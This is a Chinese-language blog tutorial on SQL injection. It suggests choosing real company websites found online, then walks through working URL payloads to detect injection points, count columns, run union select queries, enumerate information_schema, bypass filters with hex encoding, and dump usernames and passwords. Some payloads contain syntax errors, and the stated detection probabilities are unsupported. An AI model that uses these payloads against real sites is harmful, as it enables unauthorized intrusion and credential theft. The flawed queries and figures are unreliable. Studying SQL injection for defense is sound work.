1. 程式人生 > 其它 >滲透測試之sql注入驗證安全與攻擊效能

滲透測試之sql注入驗證安全與攻擊效能

由於滲透測試牽涉到安全性以及攻擊性,為了便於交流分享,本人這裡不進行具體網址的透露了。

我們可以在網上查詢一些公司官方網站如(http://www.XXXXXX.com/xxxx?id=1)

1、拿到網頁後進行查詢注入點;

查詢注入點的方法可以瀏覽上一篇文章,這裡可以收藏訂閱作者的部落格園,以便後面發出的文章不被錯過;下面再 分享一次如何尋找注入點:

1、通過單引號 ' ; 在 url 後面輸入單引號進行回車(如果報錯可能存在sql注入為:10%左右)

2、利用邏輯運算(在 url 後面 輸入 and 1=1 正常;1=2不正常,sql 注入漏洞概率為:40-60%左右)

3、利用沉睡函式俗稱摸魚函式(在 url 後面輸入sleep(10),網頁會休眠停留10s ,休眠與網速有關所以sql 注入漏洞概率為:50%左右)

4、利用運算進行測試(eg:id=1 則可以修改為id=2-1或3-2 ,+-×÷都能夠進行計算並跑通,sql 注入漏洞概率為:95-100%左右)

2、進行測試報欄位通過(order by函式);我的欄位是9

在url後面加上order by XXX(整數) 利用XXX多次進行尋找臨界值(報錯與不報錯邊緣)

3、通過尋找到的欄位後進行聯合查詢;

URL + union select 1,2,3,4,5,6,7,8,9(會出現欄位序號對應的位置,1不要變因為通常第一位是序號,後面數字只是佔位置可以改變)

4、查詢資料庫名;

URL + union select 1,2,database(),4,5,6,7,8,9(database(),所佔位置當然也是可以改變的的,不要佔用1,就行)

5、查詢資料庫版本號;

URL + union select 1,2,3,4,version(),6,7,8,9(version(),所佔位置當然也是可以改變的的,不要佔用1,就行)

查詢資料庫版本的目的是因為一旦mysql版本大於5.0必然會有預設庫information,如下:

我們通常使用的預設庫是:information_schema

6、查詢資料庫中的表名;

URL + union select 1,2,3,4,group_concat(table_name),6,7,8,9,from information_schema.tables where table_schema=database() 可以查出所有表的表名

7、直接爆出表中使用者;

URL + union select 1,2,3,4,group_concat(column_name),6,7,8,9,from information_schema.columns where table_name='表名'

注:有時候開發很聰明會對程式碼進行特殊字元進行過濾,那麼我們就需要進行繞過去,我們可以對’表名‘進行轉換為16進位制或別的都行然後再進行輸入查詢

8、查看錶中所有資訊內容;

URL + union select 1,2,3,4,group_concat(usename,0x7e,password),6,7,8,9,from 表名

則可以查出所有使用者具體資訊

9、我這裡如何破解後臺網址以及登入就不再詳細演示了(注意密碼可能需要進行嘗試解密)

提倡網路安全切勿在法律邊緣遊走,不要隨意攻擊別人網站,想要練習學習安全知識請瀏覽上篇文章,如果想更深入學習請訂閱或收藏作者部落格,後面會將更多資訊保安知識分享給大家

本文來自部落格園,作者:ganfd,轉載請註明原文連結:https://www.cnblogs.com/ganfd/p/15237070.html